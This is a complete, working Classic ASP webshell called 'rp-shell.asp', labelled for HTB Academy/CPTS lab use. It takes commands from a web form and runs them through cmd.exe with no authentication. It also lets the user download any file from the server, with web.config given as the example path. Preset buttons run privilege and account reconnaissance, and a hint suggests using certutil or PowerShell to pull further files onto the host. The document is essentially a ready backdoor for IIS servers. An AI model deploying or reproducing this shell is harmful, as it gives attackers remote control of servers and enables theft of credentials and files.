<%@ Language="VBScript" %>
<%
' ============================================================
' rp-shell.asp — single-file CLASSIC ASP webshell (Rose Pine)
' VBScript — requires the Classic ASP feature on IIS.
' If the target only has ASP.NET, use rp-shell.aspx instead.
' Lab use only — HTB Academy / CPTS
' ============================================================
Option Explicit
Dim workDir, output, statusMsg
output = "" : statusMsg = ""
' --- working directory (persists via hidden field) ---
workDir = Request.Form("wd")
If workDir = "" Then workDir = Request.QueryString("wd")
Dim fso : Set fso = Server.CreateObject("Scripting.FileSystemObject")
If workDir = "" Or Not fso.FolderExists(workDir) Then
workDir = Server.MapPath(".")
End If
' --- helpers ---
Function IsRooted(p)
IsRooted = (Len(p) > 2 And Mid(p, 2, 2) = ":\") Or (Left(p, 2) = "\\")
End Function
Function RunCmd(c, wd)
Dim sh, ex
Set sh = Server.CreateObject("WScript.Shell")
Set ex = sh.Exec("cmd.exe /c cd /d " & Chr(34) & wd & Chr(34) & " && " & c & " 2>&1")
Do While ex.Status = 0
If ex.StdOut.AtEndOfStream And ex.StdErr.AtEndOfStream Then
' still running — avoid busy spin
End If
If Not ex.StdOut.AtEndOfStream Then Exit Do
Loop
RunCmd = ex.StdOut.ReadAll() & ex.StdErr.ReadAll()
End Function
Function HtmlEnc(s)
Dim r : r = Server.HTMLEncode(s & "")
HtmlEnc = Replace(r, vbCrLf, vbCrLf)
End Function
' --- file download: ?get=<path> ---
Dim dl : dl = Request.QueryString("get")
If dl <> "" Then
Dim full : full = dl
If Not IsRooted(dl) Then full = workDir & "\" & dl
If fso.FileExists(full) Then
Dim stm : Set stm = Server.CreateObject("ADODB.Stream")
stm.Type = 1 : stm.Open
stm.LoadFromFile full
Response.Clear()
Response.ContentType = "application/octet-stream"
Response.AddHeader "Content-Disposition", "attachment; filename=" & fso.GetFileName(full)
Response.BinaryWrite stm.Read
stm.Close
Response.End()
Else
statusMsg = "download failed: not found -> " & full
End If
End If
' --- command execution ---
Dim cmd : cmd = Request.Form("cmd")
If cmd = "" Then cmd = Request.QueryString("cmd")
If cmd <> "" Then
Dim t : t = Trim(cmd)
If LCase(t) = "cd" Or LCase(Left(t, 3)) = "cd " Or LCase(Left(t, 3)) = "cd\" Then
Dim target : target = Trim(Mid(t, 3))
If LCase(t) = "cd" Then target = ""
If target = "" Then
output = workDir
Else
Dim newDir : newDir = target
If Not IsRooted(target) Then newDir = fso.GetAbsolutePathName(workDir & "\" & target)
If fso.FolderExists(newDir) Then
workDir = newDir : output = ""
Else
output = "The system cannot find the path specified."
End If
End If
ElseIf LCase(t) = "cls" Or LCase(t) = "clear" Then
output = ""
Else
output = RunCmd(cmd, workDir)
End If
End If
' --- banner identity ---
Dim bannerUser, bannerHost
On Error Resume Next
bannerUser = Trim(RunCmd("whoami", workDir))
bannerHost = Trim(RunCmd("hostname", workDir))
On Error GoTo 0
If bannerUser = "" Then bannerUser = "?"
If bannerHost = "" Then bannerHost = "?"
%>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>rp-shell :: <%= HtmlEnc(bannerHost & " :: " & bannerUser) %></title>
<style>
:root{
--base:#191724; --surface:#1f1d2e; --overlay:#26233a;
--muted:#6e6a86; --subtle:#908caa; --text:#e0def4;
--love:#eb6f92; --gold:#f6c177; --rose:#ebbcba;
--pine:#31748f; --foam:#9ccfd8; --iris:#c4a7e7;
}
*{box-sizing:border-box;}
body{
background:var(--base); color:var(--text);
font-family:"Cascadia Code",Consolas,"Courier New",monospace;
margin:0; padding:24px; font-size:14px;
}
.wrap{max-width:960px; margin:0 auto;}
.card{
background:var(--surface); border:1px solid var(--overlay);
border-radius:10px; padding:18px 20px; margin-bottom:16px;
}
.banner{
font-size:15px; color:var(--foam); letter-spacing:.5px;
border-left:3px solid var(--iris); padding-left:12px;
}
.banner b{color:var(--love);}
.meta{color:var(--subtle); font-size:12px; margin-top:6px;}
.meta span{color:var(--gold);}
.pwd{color:var(--pine); word-break:break-all;}
.pwd b{color:var(--foam);}
pre{
background:var(--base); border:1px solid var(--overlay);
border-radius:8px; padding:14px; overflow-x:auto;
white-space:pre-wrap; word-break:break-all;
color:var(--text); min-height:60px; margin:12px 0;
}
.status{color:var(--gold); font-size:12px; min-height:16px;}
input[type=text]{
width:100%; background:var(--overlay); color:var(--text);
border:1px solid var(--muted); border-radius:6px;
padding:10px 12px; font-family:inherit; font-size:14px;
}
input[type=text]:focus{outline:none; border-color:var(--iris);}
.row{display:flex; gap:8px; margin-top:10px; flex-wrap:wrap; align-items:center;}
.btn{
background:var(--pine); color:var(--text); border:none;
border-radius:6px; padding:9px 18px; cursor:pointer;
font-family:inherit; font-size:13px;
}
.btn:hover{background:var(--foam); color:var(--base);}
.btn.alt{background:var(--overlay); color:var(--subtle);}
.btn.alt:hover{background:var(--muted); color:var(--text);}
.chips{margin-top:10px; display:flex; gap:6px; flex-wrap:wrap;}
.chip{
background:var(--overlay); color:var(--iris); border:1px solid var(--muted);
border-radius:12px; padding:3px 10px; font-size:11px; cursor:pointer;
}
.chip:hover{background:var(--iris); color:var(--base);}
.fileline{display:flex; gap:8px; margin-top:8px; align-items:center;}
.hint{color:var(--muted); font-size:11px; margin-top:8px;}
</style>
</head>
<body>
<div class="wrap">
<div class="card">
<div class="banner">rp-shell [asp] :: <b><%= HtmlEnc(bannerHost & " :: " & bannerUser) %></b></div>
<div class="meta">
remote <span><%= HtmlEnc(Request.ServerVariables("REMOTE_ADDR")) %></span> ::
server <span><%= HtmlEnc(Request.ServerVariables("SERVER_SOFTWARE")) %></span> ::
host <span><%= HtmlEnc(Request.ServerVariables("SERVER_NAME")) %>:<%= HtmlEnc(Request.ServerVariables("SERVER_PORT")) %></span>
</div>
</div>
<div class="card">
<div class="pwd">cwd :: <b><%= HtmlEnc(workDir) %></b></div>
<pre id="out"><%= HtmlEnc(output) %></pre>
<div class="status"><%= HtmlEnc(statusMsg) %></div>
<form method="post">
<input type="hidden" name="wd" value="<%= HtmlEnc(workDir) %>">
<input type="text" name="cmd" id="cmd" autocomplete="off"
autofocus placeholder="command... (cd supported, cls clears)">
<div class="row">
<button class="btn" type="submit">run</button>
<button class="btn alt" type="submit" name="cmd" value="cls">clear</button>
</div>
<div class="chips">
<span class="chip" onclick="fill('whoami /all')">whoami /all</span>
<span class="chip" onclick="fill('whoami /priv')">whoami /priv</span>
<span class="chip" onclick="fill('hostname & ipconfig')">ipconfig</span>
<span class="chip" onclick="fill('dir')">dir</span>
<span class="chip" onclick="fill('net user')">net user</span>
<span class="chip" onclick="fill('net localgroup administrators')">local admins</span>
<span class="chip" onclick="fill('ver')">ver</span>
<span class="chip" onclick="fill('set')">env</span>
</div>
</form>
<form method="get" class="fileline">
<input type="hidden" name="wd" value="<%= HtmlEnc(workDir) %>">
<input type="text" name="get" placeholder="download path, e.g. C:\inetpub\wwwroot\web.config">
<button class="btn alt" type="submit">download</button>
</form>
<div class="hint">
classic ASP / VBScript — use rp-shell.aspx when only ASP.NET is installed ::
up/down arrows = command history ::
no upload form (multipart in pure VBScript is painful — use certutil/powershell to fetch files) ::
delete this file during cleanup
</div>
</div>
</div>
<script>
var hist = [], hi = -1;
var box = document.getElementById("cmd");
function fill(c){ box.value = c; box.focus(); }
box.form.addEventListener("submit", function(){
if (box.value) hist.push(box.value);
});
box.addEventListener("keydown", function(e){
if (e.key === "ArrowUp"){ e.preventDefault();
if (hist.length){ hi = Math.max(0, hi < 0 ? hist.length - 1 : hi - 1); box.value = hist[hi]; } }
if (e.key === "ArrowDown"){ e.preventDefault();
if (hist.length){ hi = Math.min(hist.length - 1, hi + 1); box.value = hist[hi]; } }
});
</script>
</body>
</html>